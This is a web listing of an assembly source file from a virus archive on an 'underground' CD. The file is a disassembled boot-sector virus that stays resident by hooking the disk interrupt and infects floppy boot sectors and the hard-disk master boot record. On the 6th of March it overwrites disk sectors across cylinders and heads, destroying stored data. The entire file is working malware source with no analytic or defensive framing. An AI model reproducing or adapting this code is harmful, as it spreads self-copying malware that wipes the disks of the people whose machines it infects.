home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / m / mang.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  6.1 KB  |  253 lines

  1.  
  2.  
  3. PAGE  59,132
  4.  
  5.  
  6.  
  7. ;██████████████████████████████████████████████████████████████████████████
  8.  
  9. ;██                                         ██
  10.  
  11. ;██                    MANG                         ██
  12.  
  13. ;██                                         ██
  14.  
  15. ;██      Created:   30-Aug-92                             ██
  16.  
  17. ;██      Passes:    5           Analysis Options on: none             ██
  18.  
  19. ;██                                         ██
  20.  
  21. ;██████████████████████████████████████████████████████████████████████████
  22.  
  23.  
  24.  
  25. data_0001e    equ    4Ch
  26.  
  27. data_0002e    equ    4Eh
  28.  
  29. main_ram_size_    equ    413h
  30.  
  31. data_0003e    equ    7C00h            ;*
  32.  
  33. data_0004e    equ    7C05h            ;*
  34.  
  35. data_0005e    equ    7C0Ah            ;*
  36.  
  37. data_0006e    equ    7C0Ch            ;*
  38.  
  39. data_0007e    equ    7
  40.  
  41. data_0008e    equ    8
  42.  
  43. data_0009e    equ    0Ah
  44.  
  45. data_0014e    equ    3BEh            ;*
  46.  
  47. data_0015e    equ    7C03h            ;*
  48.  
  49. data_0016e    equ    0B300h            ;*
  50.  
  51. data_0017e    equ    1BEh            ;*
  52.  
  53. data_0018e    equ    5000h            ;*
  54.  
  55.  
  56.  
  57. seg_a        segment    byte public
  58.  
  59.         assume    cs:seg_a, ds:seg_a
  60.  
  61.  
  62.  
  63.  
  64.  
  65.         org    100h
  66.  
  67.  
  68.  
  69. mang        proc    far
  70.  
  71.  
  72.  
  73. start:
  74.  
  75.         jmp    loc_0007
  76.  
  77.         cmc                ; Complement carry
  78.  
  79.         add    [bx+si-61h],al
  80.  
  81.         add    cl,ds:data_0016e
  82.  
  83.         db     2Eh, 00h,0F0h, 1Eh, 50h, 0Ah
  84.  
  85.         db    0D2h, 75h, 1Bh, 33h,0C0h, 8Eh
  86.  
  87.         db    0D8h,0F6h, 06h, 3Fh, 04h, 01h
  88.  
  89.         db     75h, 10h, 58h, 1Fh, 9Ch, 2Eh
  90.  
  91.         db    0FFh, 1Eh, 0Ah, 00h, 9Ch,0E8h
  92.  
  93.         db     0Bh, 00h, 9Dh,0CAh, 02h, 00h
  94.  
  95.         db     58h, 1Fh, 2Eh,0FFh, 2Eh, 0Ah
  96.  
  97.         db     00h
  98.  
  99.         db     50h, 53h, 51h, 52h, 1Eh, 06h
  100.  
  101.         db     56h, 57h, 0Eh, 1Fh, 0Eh, 07h
  102.  
  103.         db    0BEh, 04h, 00h
  104.  
  105. loc_0002:
  106.  
  107.         mov    ax,201h
  108.  
  109.         mov    bx,200h
  110.  
  111.         mov    cx,1
  112.  
  113.         xor    dx,dx            ; Zero register
  114.  
  115.         pushf                ; Push flags
  116.  
  117.         call    dword ptr ds:data_0009e
  118.  
  119.         jnc    loc_0003        ; Jump if carry=0
  120.  
  121.         xor    ax,ax            ; Zero register
  122.  
  123.         pushf                ; Push flags
  124.  
  125.         call    dword ptr ds:data_0009e
  126.  
  127.         dec    si
  128.  
  129.         jnz    loc_0002        ; Jump if not zero
  130.  
  131.         jmp    short loc_0006
  132.  
  133. loc_0003:
  134.  
  135.         xor    si,si            ; Zero register
  136.  
  137.         cld                ; Clear direction
  138.  
  139.         lodsw                ; String [si] to ax
  140.  
  141.         cmp    ax,[bx]
  142.  
  143.         jne    loc_0004        ; Jump if not equal
  144.  
  145.         lodsw                ; String [si] to ax
  146.  
  147.         cmp    ax,[bx+2]
  148.  
  149.         je    loc_0006        ; Jump if equal
  150.  
  151. loc_0004:
  152.  
  153.         mov    ax,301h
  154.  
  155.         mov    dh,1
  156.  
  157.         mov    cl,3
  158.  
  159.         cmp    byte ptr [bx+15h],0FDh
  160.  
  161.         je    loc_0005        ; Jump if equal
  162.  
  163.         mov    cl,0Eh
  164.  
  165. loc_0005:
  166.  
  167.         mov    ds:data_0008e,cx
  168.  
  169.         pushf                ; Push flags
  170.  
  171.         call    dword ptr ds:data_0009e
  172.  
  173.         jc    loc_0006        ; Jump if carry Set
  174.  
  175.         mov    si,data_0014e
  176.  
  177.         mov    di,1BEh
  178.  
  179.         mov    cx,21h
  180.  
  181.         cld                ; Clear direction
  182.  
  183.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  184.  
  185.         mov    ax,301h
  186.  
  187.         xor    bx,bx            ; Zero register
  188.  
  189.         mov    cx,1
  190.  
  191.         xor    dx,dx            ; Zero register
  192.  
  193.         pushf                ; Push flags
  194.  
  195.         call    dword ptr ds:data_0009e
  196.  
  197. loc_0006:
  198.  
  199.         pop    di
  200.  
  201.         pop    si
  202.  
  203.         pop    es
  204.  
  205.         pop    ds
  206.  
  207.         pop    dx
  208.  
  209.         pop    cx
  210.  
  211.         pop    bx
  212.  
  213.         pop    ax
  214.  
  215.         retn
  216.  
  217. loc_0007:
  218.  
  219.         xor    ax,ax            ; Zero register
  220.  
  221.         mov    ds,ax
  222.  
  223.         cli                ; Disable interrupts
  224.  
  225.         mov    ss,ax
  226.  
  227.         mov    ax,7C00h
  228.  
  229.         mov    sp,ax
  230.  
  231.         sti                ; Enable interrupts
  232.  
  233.         push    ds
  234.  
  235.         push    ax
  236.  
  237.         mov    ax,ds:data_0001e
  238.  
  239.         mov    ds:data_0005e,ax
  240.  
  241.         mov    ax,ds:data_0002e
  242.  
  243.         mov    ds:data_0006e,ax
  244.  
  245.         mov    ax,ds:main_ram_size_
  246.  
  247.         dec    ax
  248.  
  249.         dec    ax
  250.  
  251.         mov    ds:main_ram_size_,ax
  252.  
  253.         mov    cl,6
  254.  
  255.         shl    ax,cl            ; Shift w/zeros fill
  256.  
  257.         mov    es,ax
  258.  
  259.         mov    ds:data_0004e,ax
  260.  
  261.         mov    ax,0Eh
  262.  
  263.         mov    ds:data_0001e,ax
  264.  
  265.         mov    ds:data_0002e,es
  266.  
  267.         mov    cx,1BEh
  268.  
  269.         mov    si,data_0003e
  270.  
  271.         xor    di,di            ; Zero register
  272.  
  273.         cld                ; Clear direction
  274.  
  275.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  276.  
  277.         jmp    dword ptr cs:data_0015e
  278.  
  279.         xor    ax,ax            ; Zero register
  280.  
  281.         mov    es,ax
  282.  
  283.         int    13h            ; Disk  dl=drive a  ah=func 00h
  284.  
  285.                         ;  reset disk, al=return status
  286.  
  287.         push    cs
  288.  
  289.         pop    ds
  290.  
  291.         mov    ax,201h
  292.  
  293.         mov    bx,data_0003e
  294.  
  295.         mov    cx,ds:data_0008e
  296.  
  297.         cmp    cx,7
  298.  
  299.         jne    loc_0008        ; Jump if not equal
  300.  
  301.         mov    dx,80h
  302.  
  303.         int    13h            ; Disk  dl=drive 0  ah=func 02h
  304.  
  305.                         ;  read sectors to memory es:bx
  306.  
  307.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  308.  
  309.         jmp    short loc_0009
  310.  
  311. loc_0008:
  312.  
  313.         mov    cx,ds:data_0008e
  314.  
  315.         mov    dx,100h
  316.  
  317.         int    13h            ; Disk  dl=drive a  ah=func 02h
  318.  
  319.                         ;  read sectors to memory es:bx
  320.  
  321.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  322.  
  323.         jc    loc_0009        ; Jump if carry Set
  324.  
  325.         push    cs
  326.  
  327.         pop    es
  328.  
  329.         mov    ax,201h
  330.  
  331.         mov    bx,200h
  332.  
  333.         mov    cx,1
  334.  
  335.         mov    dx,80h
  336.  
  337.         int    13h            ; Disk  dl=drive 0  ah=func 02h
  338.  
  339.                         ;  read sectors to memory es:bx
  340.  
  341.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  342.  
  343.         jc    loc_0009        ; Jump if carry Set
  344.  
  345.         xor    si,si            ; Zero register
  346.  
  347.         cld                ; Clear direction
  348.  
  349.         lodsw                ; String [si] to ax
  350.  
  351.         cmp    ax,[bx]
  352.  
  353.         jne    loc_0014        ; Jump if not equal
  354.  
  355.         lodsw                ; String [si] to ax
  356.  
  357.         cmp    ax,[bx+2]
  358.  
  359.         jne    loc_0014        ; Jump if not equal
  360.  
  361. loc_0009:
  362.  
  363.         xor    cx,cx            ; Zero register
  364.  
  365.         mov    ah,4
  366.  
  367.         int    1Ah            ; Real time clock   ah=func 04h
  368.  
  369.                         ;  get date  cx=year, dx=mon/day
  370.  
  371.         cmp    dx,306h
  372.  
  373.         je    loc_0010        ; Jump if equal
  374.  
  375.         retf                ; Return far
  376.  
  377. loc_0010:
  378.  
  379.         xor    dx,dx            ; Zero register
  380.  
  381.         mov    cx,1
  382.  
  383. loc_0011:
  384.  
  385.         mov    ax,309h
  386.  
  387.         mov    si,ds:data_0008e
  388.  
  389.         cmp    si,3
  390.  
  391.         je    loc_0012        ; Jump if equal
  392.  
  393.         mov    al,0Eh
  394.  
  395.         cmp    si,0Eh
  396.  
  397.         je    loc_0012        ; Jump if equal
  398.  
  399.         mov    dl,80h
  400.  
  401.         mov    byte ptr ds:data_0007e,4
  402.  
  403.         mov    al,11h
  404.  
  405. loc_0012:
  406.  
  407.         mov    bx,data_0018e
  408.  
  409.         mov    es,bx
  410.  
  411.         int    13h            ; Disk  dl=drive 0  ah=func 03h
  412.  
  413.                         ;  write sectors from mem es:bx
  414.  
  415.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  416.  
  417.         jnc    loc_0013        ; Jump if carry=0
  418.  
  419.         xor    ah,ah            ; Zero register
  420.  
  421.         int    13h            ; Disk  dl=drive 0  ah=func 00h
  422.  
  423.                         ;  reset disk, al=return status
  424.  
  425. loc_0013:
  426.  
  427.         inc    dh
  428.  
  429.         cmp    dh,ds:data_0007e
  430.  
  431.         jb    loc_0011        ; Jump if below
  432.  
  433.         xor    dh,dh            ; Zero register
  434.  
  435.         inc    ch
  436.  
  437.         jmp    short loc_0011
  438.  
  439. loc_0014:
  440.  
  441.         mov    cx,7
  442.  
  443.         mov    ds:data_0008e,cx
  444.  
  445.         mov    ax,301h
  446.  
  447.         mov    dx,80h
  448.  
  449.         int    13h            ; Disk  dl=drive 0  ah=func 03h
  450.  
  451.                         ;  write sectors from mem es:bx
  452.  
  453.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  454.  
  455.         jc    loc_0009        ; Jump if carry Set
  456.  
  457.         mov    si,data_0014e
  458.  
  459.         mov    di,data_0017e
  460.  
  461.         mov    cx,21h
  462.  
  463.         rep    movsw            ; Rep when cx >0 Mov [si] to es:[di]
  464.  
  465.         mov    ax,301h
  466.  
  467.         xor    bx,bx            ; Zero register
  468.  
  469.         inc    cl
  470.  
  471.         int    13h            ; Disk  dl=drive 0  ah=func 03h
  472.  
  473.                         ;  write sectors from mem es:bx
  474.  
  475.                         ;   al=#,ch=cyl,cl=sectr,dh=head
  476.  
  477.         jmp    short loc_0009
  478.  
  479.         db    16 dup (0)
  480.  
  481.         db    0Ah, 'Replace and press any key w'
  482.  
  483.         db    'hen ready', 0Dh, 0Ah, 0
  484.  
  485.         db    'IO      SYSMSDOS   SYS'
  486.  
  487.         db     00h, 00h, 55h,0AAh
  488.  
  489.  
  490.  
  491. mang        endp
  492.  
  493.  
  494.  
  495. seg_a        ends
  496.  
  497.  
  498.  
  499.  
  500.  
  501.  
  502.  
  503.         end    start
  504.  
  505.